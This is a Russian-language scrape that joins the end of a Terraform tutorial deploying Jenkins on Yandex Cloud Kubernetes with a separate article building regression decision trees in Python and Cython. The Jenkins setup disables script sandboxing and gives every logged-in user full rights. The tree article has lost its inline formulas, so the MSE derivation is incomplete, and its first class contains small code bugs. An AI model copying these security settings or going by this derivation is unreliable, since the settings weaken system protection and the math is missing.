service_account_id = yandex_iam_service_account.sa-k8s-admin.id
node_service_account_id = yandex_iam_service_account.sa-k8s-admin.id
release_channel = "STABLE"
// to keep permissions of service account on destroy
// until cluster will be destroyed
depends_on = [yandex_resourcemanager_folder_iam_member.sa-k8s-admin-permissions]
}
# yandex_kubernetes_node_group
resource "yandex_kubernetes_node_group" "k8s_node_group" {
cluster_id = yandex_kubernetes_cluster.zonal_k8s_cluster.id
name = "name"
description = "description"
version = "1.21"
labels = {
"key" = "value"
}
instance_template {
platform_id = "standard-v3"
network_interface {
nat = true
subnet_ids = [yandex_vpc_subnet.k8s-subnet.id]
}
resources {
cores = 2
memory = 4
core_fraction = 50
}
boot_disk {
type = "network-hdd"
size = 32
}
scheduling_policy {
preemptible = true
}
metadata = {
ssh-keys = "ubuntu:${file("~/.ssh/id_rsa.pub")}"
}
}
scale_policy {
fixed_scale {
size = 1
}
}
allocation_policy {
location {
zone = "ru-central1-b"
}
}
maintenance_policy {
auto_upgrade = true
auto_repair = true
maintenance_window {
day = "monday"
start_time = "15:00"
duration = "3h"
}
maintenance_window {
day = "friday"
start_time = "10:00"
duration = "4h30m"
}
}
}
locals {
kubeconfig = <
```
Если кластер тестовый, то можно снизить стоимость используя 50% ядра и [использовать прерываемые виртуальные машины.](https://cloud.yandex.ru/docs/compute/pricing#prices-instance-resources)
```
resources {
...
core_fraction = 50
}
scheduling_policy {
preemptible = true
}
```
**Сеть и внешний статический IP адрес.**
Указываем сеть:
```
resource "yandex_vpc_network" "k8s-network" {
name = "k8s-network"
}
```
Указываем подсеть:
```
resource "yandex_vpc_subnet" "k8s-subnet" {
zone = "ru-central1-b"
network_id = yandex_vpc_network.k8s-network.id
v4_cidr_blocks = ["10.5.0.0/24"]
depends_on = [
yandex_vpc_network.k8s-network,
]
}
```
Указываем внешний статический IP адрес:
```
resource "yandex_vpc_address" "addr" {
name = "static-ip"
external_ipv4_address {
zone_id = "ru-central1-b"
}
}
```
Неважно какой будет IP. В DNS запись будет добавлен этот IP.
**Jenkins установливаем c помощью terraform модуля helm\_release.**
Рассмотрим `helm_release.tf`:
`provider "helm"` описывает настройки подключения к kubernetes для helm.
```
provider "helm" {
kubernetes {
host = yandex_kubernetes_cluster.zonal_k8s_cluster.master[0].external_v4_endpoint
cluster_ca_certificate = yandex_kubernetes_cluster.zonal_k8s_cluster.master[0].cluster_ca_certificate
exec {
api_version = "client.authentication.k8s.io/v1beta1"
args = ["k8s", "create-token"]
command = "yc"
}
}
}
```
**Создаем ingress-nginx.**
```
resource "helm_release" "ingress_nginx" {
name = "ingress-nginx"
repository = "https://kubernetes.github.io/ingress-nginx"
chart = "ingress-nginx"
version = "4.2.1"
wait = true
depends_on = [
yandex_kubernetes_node_group.k8s_node_group
]
set {
name = "controller.service.loadBalancerIP"
value = yandex_vpc_address.addr.external_ipv4_address[0].address
}
}
```
В terraform опции `--set key=value` передаются так:
```
set {
name = "controller.service.loadBalancerIP"
value = yandex_vpc_address.addr.external_ipv4_address[0].address
}
```
В данном случае для `controller.service.loadBalancerIP` указываем внешний статический IP адрес.
**Устанавливаем cert-manager по аналогии с ingress-nginx.**
```
resource "helm_release" "cert-manager" {
namespace = "cert-manager"
create_namespace = true
name = "jetstack"
repository = "https://charts.jetstack.io"
chart = "cert-manager"
version = "v1.9.1"
wait = true
depends_on = [
yandex_kubernetes_node_group.k8s_node_group
]
set {
name = "installCRDs"
value = true
}
}
```
**Устанавливаем jenkins.**
```
resource "helm_release" "jenkins" {
namespace = "jenkins"
create_namespace = true
name = "jenkins"
repository = "https://charts.jenkins.io"
chart = "jenkins"
wait = true
version = "4.1.17"
depends_on = [
yandex_kubernetes_node_group.k8s_node_group
]
values = [
#file("${path.module}/jenkins-values-google-login.yaml")
yamlencode(local.jenkins_values_google_login)
]
}
```
Jenkins helm чарту на вход необходимо указать value.yaml с нашими настройками.
Есть 2 способа указать value.yaml.
Первый способ использовать готовый и настроеный value.yaml в текущей директории:
```
values = [
file("${path.module}/jenkins-values-google-login.yaml")
]
```
Второй способ использовать yamlencode для перевода terraform кода в yaml код.
```
values = [
yamlencode(local.jenkins_values_google_login)
]
```
**Как получить terraform код из yaml кода?**
Подготавливаете и настраиваете value.yaml, а затем используя вот такую команду переводите в terraform код:
```
echo 'yamldecode(file("value.yaml"))' | terraform console
```
В моем случае value.yaml имеет другое название:
```
echo 'yamldecode(file("jenkins-values-google-login.yaml"))' | terraform console
```
Я использую yamlencode, потому что внутри yamlencode кода ссылаюсь на terraform переменные, а так же потому что job лежат отдельно.
Полученный код вставляете в `local.jenkins_values_google_login`
```
locals {
jenkins_values_google_login = {
сюда
}
}
```
Затем вместо ваших данных:
```
"hostName" = jenkins.mycompany.ru
```
используйте terraform переменные
```
"hostName" = "${var.jenkins_dns_name}"
```
**Рассмотрим `local.jenkins_values_google_login`.**
В корне стоит `controller` от которого идут все настройки.
Для настройка jenkins из кода используются [jcasc](https://www.jenkins.io/projects/jcasc/), [job-dsl](https://github.com/jenkinsci/job-dsl-plugin). Примеры jcasc <https://github.com/jenkinsci/configuration-as-code-plugin>
```
"JCasC" = {
"authorizationStrategy" = <<-EOT
loggedInUsersCanDoAnything:
allowAnonymousRead: false
EOT
```
Более подробно — <https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/demos/global-matrix-auth/README.md>
В configScripts каждый блок EOT это отдельный файл в контейнере jenkins. `systemMessage` системное сообщение.
```
"configScripts" = {
"jenkins-configuration" = <<-EOT
jenkins:
systemMessage: This Jenkins is configured and managed 'as code' by Managed Cloud team.
EOT
```
Указываем файл job:
```
"job-config" = yamlencode({
jobs = [
{ script = file("${path.module}/job1.groovy") },
{ script = file("${path.module}/job2.groovy") }
]
})
```
Указываем список view:
```
jenkins:
views:
- all:
name: "all"
- list:
columns:
- "status"
- "weather"
- "jobName"
- "lastSuccess"
- "lastFailure"
- "lastDuration"
- "buildButton"
jobNames:
- "job1"
name: "stage"
- list:
columns:
- "status"
- "weather"
- "jobName"
- "lastSuccess"
- "lastFailure"
- "lastDuration"
- "buildButton"
jobNames:
- "job2"
name: "test"
viewsTabBar: "standard"
```
Указываем как мы будет входить в jenkins:
```
"securityRealm" = <<-EOT
googleOAuth2:
clientId: "${var.clientId}"
clientSecret: "${var.clientSecret}"
domain: "${var.google_domain}"
EOT
```
Я использую googleOAuth2. Можно еще использовать local, ldap и другие.
Дополнительные плагины jenkins:
```
"additionalPlugins" = [
"google-login:1.6",
"job-dsl:1.81",
"allure-jenkins-plugin:2.30.2",
"ws-cleanup:0.42",
"build-timeout:1.21",
"timestamper:1.18",
"google-storage-plugin:1.5.6",
"permissive-script-security:0.7",
"ansicolor:1.0.2",
"google-oauth-plugin:1.0.6",
]
```
Настройка Ingress:
```
"ingress" = {
"annotations" = {
"cert-manager.io/cluster-issuer" = "letsencrypt-prod"
}
"apiVersion" = "networking.k8s.io/v1"
"enabled" = true
"hostName" = "${var.jenkins_dns_name}"
"ingressClassName" = "nginx"
"tls" = [
{
"hosts" = [
"${var.jenkins_dns_name}",
]
"secretName" = "jenkins-tls"
},
]
}
```
Если у вас нет letsencrypt, то вы удаляете cert-manager.io/cluster-issuer.
Указываем javaOpts чтобы запускать Job-DSL скрипты:
```
javaOpts: '-Dpermissive-script-security.enabled=true'
```
**Сравнение настроенный yaml и yamlencode из terraform кода.**
Чем плох настроенный yaml в качестве value.yaml для helm чарта относительно yamlencode ?
* Он длинный.
* В yaml коде нельзя вынести кусок кода (например job) в отдельный файл.
* Для формирования заполненого настроенного value.yaml необходимо использовать templatefile. Мне кажется это лишнее.
В JCasC.configScripts каждый блок до вертикальной черты (|) будет сохранен как отдельный файл в контейнере Jenkins.
В Yaml формате все job нужно расписывать. Если сравнить:
```
job-config: |
jobs:
- script: >
pipelineJob('job1') {
logRotator(120, -1, 1, -1)
authenticationToken('secret')
definition {
cps {
script("""\
pipeline {
agent any
parameters {
string(name: 'Variable', defaultValue: '', description: 'Variable', trim: true)
}
options {
timestamps()
ansiColor('xterm')
timeout(time: 10, unit: 'MINUTES')
}
stages {
stage ('build') {
steps {
cleanWs()
echo "hello job1"
}
}
}
}""".stripIndent())
sandbox()
}
}
}
```
и чтение файла job, то вынос файла лучшее красивее и читабельнее:
```
"job-config" = yamlencode({
jobs = [
{ script = file("${path.module}/job1.groovy") },
{ script = file("${path.module}/job2.groovy") }
]
})
```
Добавление `kind: ClusterIssuer` в Kubernetes.
Если мы будем добавлять `kind: ClusterIssuer` как `resource "kubernetes_manifest"` и добавим как подключатся к Kubernetes используя `provider "kubernetes"`, то получим ошибку:
```
cannot create REST client: no client config
```
Мы не можем развернуть `resource "kubernetes_manifest"` в котором ссылаемся на другой ресрус — <https://github.com/hashicorp/terraform-provider-kubernetes/issues/1380>
Поэтому создадим файл `ClusterIssuer.yaml.tpl` и будем формировать его через `templatefile` передав всего 1 переменную email\_letsencrypt.
Вот мы с вами и прошли то, что напланировали в самом начале. | https://habr.com/ru/post/683844/ | null | ru | null |
# Пишем XGBoost с нуля — часть 1: деревья решений
Привет, Хабр!
После многочисленных поисков качественных руководств о решающих деревьях и ансамблевых алгоритмах (бустинг, решающий лес и пр.) с их непосредственной реализацией на языках программирования, и так ничего не найдя (кто найдёт — напишите в комментах, может, что-то новое почерпну), я решил сделать своё собственное руководство, каким бы я хотел его видеть. Задача на словах простая, но, как известно, дьявол кроется в мелочах, коих в алгоритмах с деревьями очень много.
Так как тема достаточно обширная, то очень сложно будет уместить всё в одну статью, поэтому будет две публикации: первая посвящена деревьям, а вторая часть будет посвящена реализации алгоритма градиентного бустинга. Весь изложенный здесь материал собран и оформлен на основе открытых источников, моего кода, кода коллег и друзей. Сразу предупреждаю, кода будет много.
Так что нужно знать и уметь, чтобы научиться писать с нуля свои ансамблевые алгоритмы с решающими деревьями? Поскольку ансамбль алгоритмов — это не что иное, как композиция «слабых алгоритмов», то для написания хорошего ансамбля требуются хорошие «слабые алгоритмы», именно их мы подробно разберём в этой статье. Как понятно из названия, это решающие деревья, и двигаясь от простого к сложному, мы научимся их писать. При этом акцент будет сделан непосредственно на реализации, вся теория будет излагаться по-минимуму, в основном я буду давать ссылки на материалы для самостоятельного изучения.
Чтобы усвоить материал, необходимо понимать, насколько хорош или плох наш алгоритм. Понимать будем очень просто — зафиксируем какой-то определённый набор данных и будем сравнивать наши алгоритмы с алгоритмами деревьев из Sklearn (ну а как же без этой библиотеки). Сравнивать будем многое: сложность алгоритма, метрики на данных, время работы и т.д.
Что же такое решающее дерево? Очень хороший материал, где объяснён принцип работы решающего дерева, содержится [в курсе ODS](https://github.com/Yorko/mlcourse.ai/blob/master/jupyter_russian/topic03_decision_trees_knn/topic3_trees_knn.ipynb) (кстати, классный курс, рекомендую тем, кто начинает своё знакомство с ML).
Очень важное пояснение: во всех нижеописанных случаях все признаки будут являться вещественными, специальных преобразований с данными вне алгоритмов мы делать не будем (сравниваем алгоритмы, а не датасеты).
Теперь давайте научимся решать задачу регрессии с помощью решающих деревьев. В качестве энтропии будем использовать метрику [MSE](https://en.wikipedia.org/wiki/Mean_squared_error).
Реализуем очень простой класс `RegressionTree`, который основан на рекурсивном подходе. Намеренно начнём с очень неэффективной, но простой в понимании реализации такого класса, чтобы в дальнейшем уметь улучшать её.
### 1. Класс RegressionTree()
```
class RegressionTree():
'''
Класс RegressionTree решает задачу регрессии. Основан на рекурсивных
вызовах, когда прописываются условия выхода из рекурсии.
'''
def __init__(self, max_depth=3, n_epoch=10, min_size=8):
'''
Объявляем переменные класса.
'''
self.max_depth = max_depth # максимальная глубина
self.min_size = min_size # минимальный размер поддерева
self.value = 0 # значение в поддереве (среднее по всем листьям)
self.feature_idx = -1 # номер лучшего признака
self.feature_threshold = 0 # значение лучшего признака
self.left = None # левый потомок
self.right = None # правый потомок
def fit(self, X, y):
'''
Процедура обучения дерева. На выходе получим обученную модель.
'''
# инициализируем начальные значения
self.value = y.mean()
base_error = ((y - self.value) ** 2).sum()
error = base_error
flag = 0
# ошибки в левом и правом поддереве
prev_error_left = base_error
prev_error_right = 0
# если дошли до глубины 0 - выходим
if self.max_depth <= 1:
return
dim_shape = X.shape[1]
# значения в левом и правом поддереве
left_value = 0
right_value = 0
# начинаем цикл по признакам
for feat in range(dim_shape):
# сортируем признаки
idxs = np.argsort(X[:, feat])
# количество сэмплов в левом и правом поддереве
N = X.shape[0]
N1, N2 = N, 0
thres = 1
# начинаем проходиться по значениям признака
while thres < N - 1:
N1 -= 1
N2 += 1
idx = idxs[thres]
x = X[idx, feat]
# пропускаем одинаковые признаки
if thres < N - 1 and x == X[idxs[thres + 1], feat]:
thres += 1
continue
# данные, которые получаются у нас в результате такого сплита
target_right = y[idxs][:thres]
target_left = y[idxs][thres:]
mean_right = y[idxs][:thres].mean(),
mean_left = y[idxs][thres:].mean()
# на этом шаге уже нужно считать ошибку -
# генерируем предикты (среднее в потомках)
left_shape = target_left.shape[0]
right_shape = target_right.shape[0]
mean_left_array = [mean_left for _ in range(left_shape)]
mean_right_array = [mean_right for _ in range(right_shape)]
# считаем ошибку слева и справа
prev_error_left = N1/N * mse(target_left, mean_left_array)
prev_error_right = N2/N * mse(target_right, mean_right_array)
# если выполняются условия сплита, то обновляем
if (prev_error_left + prev_error_right < error):
if (min(N1,N2) > self.min_size):
self.feature_idx = feat
self.feature_threshold = x
left_value = mean_left
right_value = mean_right
flag = 1
error = prev_error_left + prev_error_right
thres += 1
# если не нашли лучший сплит, выходим
if self.feature_idx == -1:
return
# дошли сюда - есть хорошее разбиение, нужно обучать дальше
# инициализируем потомков - те же деревья решений
self.left = RegressionTree(self.max_depth - 1)
self.left.value = left_value
self.right = RegressionTree(self.max_depth - 1)
self.right.value = right_value
# индексы потомков
idxs_l = (X[:, self.feature_idx] > self.feature_threshold)
idxs_r = (X[:, self.feature_idx] <= self.feature_threshold)
# обучаем
self.left.fit(X[idxs_l, :], y[idxs_l])
self.right.fit(X[idxs_r, :], y[idxs_r])
def __predict(self, x):
'''
Функция для генерирования предсказания - смотрим узлы, идем
в соответствующих потомков и смотрим в конце self.value - это
и будет ответом.
'''
if self.feature_idx == -1:
return self.value
if x[self.feature_idx] > self.feature_threshold:
return self.left.__predict(x)
else:
return self.right.__predict(x)
def predict(self, X):
'''
Предикт для матрицы - просто для каждой строчки вызываем __predict().
'''
y = np.zeros(X.shape[0])
for i in range(X.shape[0]):
y[i] = self.__predict(X[i])
return y
```
Вкратце поясню, что здесь делает каждый метод.
Метод `fit`, как понятно из названия, обучает модель. На вход подаётся обучающая выборка и происходит процедура обучения дерева. Сортируя признаки, мы ищем наилучшее разбиение дерева с точки зрения уменьшения энтропии, в данном случае `mse`. Определить, что удалось найти хороший сплит, очень просто, достаточно выполнения двух условий. Мы не хотим, чтобы в разбиение попадало мало объектов (защита от переобучения), и средневзвешенная ошибка по `mse` должна быть меньше той ошибки, которая есть сейчас в дереве — мы ищем тот самый прирост [information gain](https://en.wikipedia.org/wiki/Information_gain_in_decision_trees). Пройдя таким образом все признаки и все уникальные значения по ним, мы переберём все варианты и выберем наилучшее разбиение. А дальше делаем рекурсивный вызов на полученных разбиениях до тех пор, пока не выполнятся условия выхода из рекурсии.
Метод `__predict`, как понятно из названия, делает предикт. Получив на вход объект, он идёт по узлам полученного дерева — в каждом узле зафиксирован номер признака и значение по нему, и в зависимости от того, какое значение у поступившего метода объекта по этому признаку, мы идём либо в правого потомка, либо в левого, пока не дойдём до листа, в котором и будет ответ для данного объекта.
Метод `predict` делает то же самое, что и прошлый метод, только для группы объектов.
Импортируем всем известный набор данных о домах в Калифорнии. Это обычный датасет с данными и таргетом для решения задачи регрессии.
```
data = datasets.fetch_california_housing()
X = np.array(data.data)
y = np.array(data.target)
```
Что ж, давайте начнём сравнение! Для начала посмотрим, насколько быстро алгоритм обучается. Зададим у себя и в Sklearn единственный параметр `max_depth`, пусть он будет равен 2.
```
%%time
A = RegressionTree(2) # это наш алгоритм
A.fit(X,y)
```
```
from sklearn.tree import DecisionTreeRegressor
%%time
model = DecisionTreeRegressor(max_depth=2)
# из Sklearn
model.fit(X,y)
```
На экран выведется следующее:
* Для нашего алгоритма — CPU times: user 4min 47s, sys: 8.25 ms, total: 4min 47s
Wall time: 4min 47s
* Для Sklearn — CPU times: user 53.5 ms, sys: 0 ns, total: 53.5 ms
Wall time: 53.4 ms
Как видите, алгоритм обучается в тысячи раз медленне. В чём причина? Давайте разбираться.
Вспомним, как устроена процедура поиска наилучшего разбиения. Как известно, в общем случае, при размере объектов  и при количестве признаков , сложность нахождения наилучшего сплита равна .
Откуда берётся такая сложность?
Во-первых, для эффективного пересчёта ошибки необходимо перед проходом по признаку отсортировать все столбцы, чтобы двигаться от меньшего к наибольшему. Поскольку мы делаем так для каждого признака, это порождает соответствующую сложность. Как видите, признаки мы сортируем, но вся беда кроется в пересчёте ошибки — мы каждый раз загоняем данные в метод `mse`, который работает за линию. Это и делает пересчёт ошибки таким неэффективным! Ведь тогда сложность нахождения сплита возрастает до , что при больших  колоссально замедляет работу алгоритма. Поэтому плавно переходим к следующему пункту.
### 2. Класс RegressionTree() с быстрым пересчётом ошибки
Что нужно сделать, чтобы быстро пересчитывать ошибку? Взять ручку и бумагу, и расписать, как мы должны изменять формулы.
Допустим, на каком-то шаге уже есть ошибка, посчитанная для  объектов. Она имеет следующую формулу: . Тут надо поделить на , но пока давайте это опустим. Мы хотим быстро получить вот такую ошибку — , то есть перекинем ошибку, которую вносит элемент , в другую часть.
Поскольку объект мы перекидываем, ошибку нужно пересчитывать в двух местах — в правой части (без учёта этого объекта), и в левой части (с учётом этого объекта). Но мы без ограничения общности выведем только одну формулу, так как они будут похожи.
Поскольку мы работаем с `mse`, то нам не повезло: быстрый пересчёт ошибки вывести достаточно сложно, но при работе с другими метриками (например, критерием Джини, если решаем задачу классификации) вывод быстрого пересчёта даётся гораздо легче.
Что ж, давайте начать выводить формулы!
Распишем первый член:
Уф, осталось совсем чуть-чуть. Осталось только выразить требуемую сумму.
А дальше уже понятно, как выражать нужную сумму. Для пересчёта ошибки нам нужно хранить только суммы элементов справа и слева, а также сам новый элемент, который поступил на вход. Теперь ошибка пересчитывается за .
Что ж, давайте реализуем это в коде.
```
class RegressionTreeFastMse():
'''
Класс RegressionTree с быстрым пересчетом ошибки. Сложность пересчета ошибки
на каждой итерации составляет O(1).
'''
# объявляем характеристики класса
def __init__(self, max_depth=3, min_size=10):
self.max_depth = max_depth
self.min_size = min_size
self.value = 0
self.feature_idx = -1
self.feature_threshold = 0
self.left = None
self.right = None
# процедура обучения - сюда передается обучающая выборка
def fit(self, X, y):
# начальное значение - среднее значение y
self.value = y.mean()
# начальная ошибка - mse между значением в листе (пока нет
# разбиения, это среднее по всем объектам) и объектами
base_error = ((y - self.value) ** 2).sum()
error = base_error
flag = 0
# пришли в максимальную глубину
if self.max_depth <= 1:
return
dim_shape = X.shape[1]
left_value, right_value = 0, 0
for feat in range(dim_shape):
prev_error1, prev_error2 = base_error, 0
idxs = np.argsort(X[:, feat])
# переменные для быстрого переброса суммы
mean1, mean2 = y.mean(), 0
sm1, sm2 = y.sum(), 0
N = X.shape[0]
N1, N2 = N, 0
thres = 1
while thres < N - 1:
N1 -= 1
N2 += 1
idx = idxs[thres]
x = X[idx, feat]
# вычисляем дельты - по ним в основном будет делаться переброс
delta1 = (sm1 - y[idx]) * 1.0 / N1 - mean1
delta2 = (sm2 + y[idx]) * 1.0 / N2 - mean2
# увеличиваем суммы
sm1 -= y[idx]
sm2 += y[idx]
# пересчитываем ошибки за O(1)
prev_error1 += (delta1**2) * N1
prev_error1 -= (y[idx] - mean1)**2
prev_error1 -= 2 * delta1 * (sm1 - mean1 * N1)
mean1 = sm1/N1
prev_error2 += (delta2**2) * N2
prev_error2 += (y[idx] - mean2)**2
prev_error2 -= 2 * delta2 * (sm2 - mean2 * N2)
mean2 = sm2/N2
# пропускаем близкие друг к другу значения
if thres < N - 1 and np.abs(x - X[idxs[thres + 1], feat]) < 1e-5:
thres += 1
continue
# 2 условия, чтобы осуществить сплит - уменьшение ошибки
# и минимальное кол-о эл-в в каждом листе
if (prev_error1 + prev_error2 < error):
if (min(N1,N2) > self.min_size):
# переопределяем самый лучший признак и границу по нему
self.feature_idx, self.feature_threshold = feat, x
# переопределяем значения в листах
left_value, right_value = mean1, mean2
# флаг - значит сделали хороший сплит
flag = 1
error = prev_error1 + prev_error2
thres += 1
# ничего не разделили, выходим
if self.feature_idx == -1:
return
self.left = RegressionTreeFastMse(self.max_depth - 1)
# print ("Левое поддерево с глубиной %d"%(self.max_depth - 1))
self.left.value = left_value
self.right = RegressionTreeFastMse(self.max_depth - 1)
# print ("Правое поддерево с глубиной %d"%(self.max_depth - 1))
self.right.value = right_value
idxs_l = (X[:, self.feature_idx] > self.feature_threshold)
idxs_r = (X[:, self.feature_idx] <= self.feature_threshold)
self.left.fit(X[idxs_l, :], y[idxs_l])
self.right.fit(X[idxs_r, :], y[idxs_r])
def __predict(self, x):
if self.feature_idx == -1:
return self.value
if x[self.feature_idx] > self.feature_threshold:
return self.left.__predict(x)
else:
return self.right.__predict(x)
def predict(self, X):
y = np.zeros(X.shape[0])
for i in range(X.shape[0]):
y[i] = self.__predict(X[i])
return y
```
Измерим время, которое уходит теперь на обучение, и сравним с аналогом из Sklearn.
```
%%time
A = RegressionTreeFastMse(4, min_size=5)
A.fit(X,y)
test_mytree = A.predict(X)
test_mytree
```
```
%%time
model = DecisionTreeRegressor(max_depth=4)
model.fit(X,y)
test_sklearn = model.predict(X)
```
* Для нашего алгоритма получится — CPU times: user 3.11 s, sys: 2.7 ms, total: 3.11 s
Wall time: 3.11 s.
* Для алгоритма из Sklearn — CPU times: user 45.9 ms, sys: 1.09 ms, total: 47 ms
Wall time: 45.7 ms.
Результаты уже поприятнее. Что ж, давайте дальше улучшать алгоритм.
### 3. Класс RegressionTree() с линейными комбинациями признаков
Сейчас в нашем алгоритме никак не используются взаимосвязи между признаками. Мы фиксируем один признак и смотрим только ортогональные разбиения пространства. Как же научиться использовать линейные взаимосвязи между признаками? То есть искать лучшие разбиения не как , а , где  — какое-то число меньше размерности нашего пространства?
Вариантов много, я выделю два, наиболее интересных с моей точки зрения. Оба этих подхода изложены в [книжке Фридмана](https://books.google.ru/books/about/Classification_and_Regression_Trees.html) (он и придумал эти деревья).
Приведу картинку, чтобы было понятно, что имеется ввиду:
Во-первых, можно попробовать находить эти линейные разбиения алгоритмически. Понятно, что перебрать все линейные комбинации невозможно, потому что их бесконечное количество, поэтому такой алгоритм должен быть жадным, то есть на каждой итерации улучшать результат предыдущей итерации. Основную идею этого алгоритма можно прочитать в книжке, также оставлю здесь ссылку на [репозиторий](https://github.com/dimjava/MachineLearningTechnoSphere/blob/master/Boosting/GradBoostingLin.ipynb) моего друга и коллеги с реализацией этого алгоритма.
Во-вторых, если не отходить далеко от идеи поиска наилучшего ортогонального разбиения, то как нам модифицировать датасет, чтобы и информация о взаимосвязи признаков использовалась, и поиск был по ортогональным разбиениям? Правильно, сделать какие-то преобразования исходных признаков в новые. Например, можно взять суммы каких-то комбинаций признаков и искать разбиения уже по ним. Такой метод хуже ложится в алгоритмическую концепцию, но свою задачу он выполняет — ищет ортогональные разбиения уже в каких-то взаимосвязях признаков.
Что ж, давайте реализуем — будем добавлять в качестве новых признаков, например, всевозможные комбинации сумм признаков , где . Замечу, что сложность алгоритма в этом случае возрастёт, понятно во сколько раз. Ну и чтобы считалось побыстрее, будем использовать cython.
```
%load_ext Cython
%%cython -a
import itertools
import numpy as np
cimport numpy as np
from itertools import *
cdef class RegressionTreeCython:
cdef public int max_depth
cdef public int feature_idx
cdef public int min_size
cdef public int averages
cdef public np.float64_t feature_threshold
cdef public np.float64_t value
cpdef RegressionTreeCython left
cpdef RegressionTreeCython right
def __init__(self, max_depth=3, min_size=4, averages=1):
self.max_depth = max_depth
self.min_size = min_size
self.value = 0
self.averages = averages
self.feature_idx = -1
self.feature_threshold = 0
self.left = None
self.right = None
def data_transform(self, np.ndarray[np.float64_t, ndim=2] X, list index_tuples):
# преобразование данных - дополнение новыми признаками в виде суммы
for i in index_tuples:
# добавляем суммы, индексы которых переданы в качестве аргумента
X = np.hstack((X, X[:, i[0]:(i[1]+1)].sum(axis=1).reshape(X.shape[0],1)))
return X
def fit(self, np.ndarray[np.float64_t, ndim=2] X, np.ndarray[np.float64_t, ndim=1] y):
cpdef np.float64_t mean1 = 0.0
cpdef np.float64_t mean2 = 0.0
cpdef long N = X.shape[0]
cpdef long N1 = X.shape[0]
cpdef long N2 = 0
cpdef np.float64_t delta1 = 0.0
cpdef np.float64_t delta2 = 0.0
cpdef np.float64_t sm1 = 0.0
cpdef np.float64_t sm2 = 0.0
cpdef list index_tuples
cpdef list stuff
cpdef long idx = 0
cpdef np.float64_t prev_error1 = 0.0
cpdef np.float64_t prev_error2 = 0.0
cpdef long thres = 0
cpdef np.float64_t error = 0.0
cpdef np.ndarray[long, ndim=1] idxs
cpdef np.float64_t x = 0.0
# такую процедуру необходимо сделать только один раз
# генерируем индексы, по которым суммируем признаки
if self.averages:
stuff = list(range(0,X.shape[1],1))
index_tuples = list(combinations(stuff,2))
# выполняем преобразование данных
X = self.data_transform(X, index_tuples)
# начальное значение - среднее значение y
self.value = y.mean()
# начальная ошибка - mse между значением в листе (пока нет разбиения,
# это среднее по всем объектам) и объектами
base_error = ((y - self.value) ** 2).sum()
error = base_error
flag = 0
# пришли на максимальную глубину
if self.max_depth <= 1:
return
dim_shape = X.shape[1]
left_value, right_value = 0, 0
for feat in range(dim_shape):
prev_error1, prev_error2 = base_error, 0
idxs = np.argsort(X[:, feat])
# переменные для быстрого переброса суммы
mean1, mean2 = y.mean(), 0
sm1, sm2 = y.sum(), 0
N = X.shape[0]
N1, N2 = N, 0
thres = 1
while thres < N - 1:
N1 -= 1
N2 += 1
idx = idxs[thres]
x = X[idx, feat]
# вычисляем дельты - по ним в основном будет делаться переброс
delta1 = (sm1 - y[idx]) * 1.0 / N1 - mean1
delta2 = (sm2 + y[idx]) * 1.0 / N2 - mean2
# увеличиваем суммы
sm1 -= y[idx]
sm2 += y[idx]
# пересчитываем ошибки за O(1)
prev_error1 += (delta1**2) * N1
prev_error1 -= (y[idx] - mean1)**2
prev_error1 -= 2 * delta1 * (sm1 - mean1 * N1)
mean1 = sm1/N1
prev_error2 += (delta2**2) * N2
prev_error2 += (y[idx] - mean2)**2
prev_error2 -= 2 * delta2 * (sm2 - mean2 * N2)
mean2 = sm2/N2
# пропускаем близкие друг к другу значения
if thres < N - 1 and np.abs(x - X[idxs[thres + 1], feat]) < 1e-5:
thres += 1
continue
# 2 условия осуществления сплита - уменьшение ошибки
# и минимальное кол-во элементов в в каждом листе
if (prev_error1 + prev_error2 < error):
if (min(N1,N2) > self.min_size):
# переопределяем самый лучший признак и границу по нему
self.feature_idx, self.feature_threshold = feat, x
# переопределяем значения в листах
left_value, right_value = mean1, mean2
# флаг - значит сделали хороший сплит
flag = 1
error = prev_error1 + prev_error2
thres += 1
# self.feature_idx - индекс самой крутой разделяющей фичи.
# Если это какая-то из сумм, и если есть какое-то экспертное знание
# о данных, то интересно посмотреть, что значит эта сумма
# ничего не разделили, выходим
if self.feature_idx == -1:
return
# вызываем потомков дерева
self.left = RegressionTreeCython(self.max_depth - 1, averages=0)
self.left.value = left_value
self.right = RegressionTreeCython(self.max_depth - 1, averages=0)
self.right.value = right_value
# новые индексы для обучения потомков
idxs_l = (X[:, self.feature_idx] > self.feature_threshold)
idxs_r = (X[:, self.feature_idx] <= self.feature_threshold)
# обучение потомков
self.left.fit(X[idxs_l, :], y[idxs_l])
self.right.fit(X[idxs_r, :], y[idxs_r])
def __predict(self, np.ndarray[np.float64_t, ndim=1] x):
if self.feature_idx == -1:
return self.value
if x[self.feature_idx] > self.feature_threshold:
return self.left.__predict(x)
else:
return self.right.__predict(x)
def predict(self, np.ndarray[np.float64_t, ndim=2] X):
# чтобы делать предикты, нужно также добавить суммы в тестовую выборку
if self.averages:
stuff = list(range(0,X.shape[1],1))
index_tuples = list(itertools.combinations(stuff,2))
X = self.data_transform(X, index_tuples)
y = np.zeros(X.shape[0])
for i in range(X.shape[0]):
y[i] = self.__predict(X[i])
return y
```
### 4. Сравнение результатов
Что ж, давайте сравним результаты. Будем сравнивать три алгоритма с одинаковыми параметрами — дерево из Sklearn, наше обычное дерево и наше дерево с новыми признаками. Поделим много раз наш датасет на обучающий и тестовый наборы, и посчитаем ошибку.
```
from sklearn.model_selection import KFold
def get_metrics(X,y,n_folds=2, model=None):
kf = KFold(n_splits=n_folds, shuffle=True)
kf.get_n_splits(X)
er_list = []
for train_index, test_index in kf.split(X):
X_train, X_test = X[train_index], X[test_index]
y_train, y_test = y[train_index], y[test_index]
model.fit(X_train,y_train)
predict = model.predict(X_test)
er_list.append(mse(y_test, predict))
return er_list
```
Теперь прогоним всех алгоритмы.
```
import matplotlib.pyplot as plt
data = datasets.fetch_california_housing()
X = np.array(data.data)
y = np.array(data.target)
er_sklearn_tree = get_metrics(X,y,30,DecisionTreeRegressor(max_depth=4, min_samples_leaf=10))
er_fast_mse_tree = get_metrics(X,y,30,RegressionTreeFastMse(4, min_size=10))
er_averages_tree = get_metrics(X,y,30,RegressionTreeCython(4, min_size=10))
%matplotlib inline
data = [er_sklearn_tree, er_fast_mse_tree, er_averages_tree]
fig7, ax7 = plt.subplots()
ax7.set_title('')
ax7.boxplot(data, labels=['Sklearn Tree', 'Fast Mse Tree', 'Averages Tree'])
plt.grid()
plt.show()
```
Результаты:
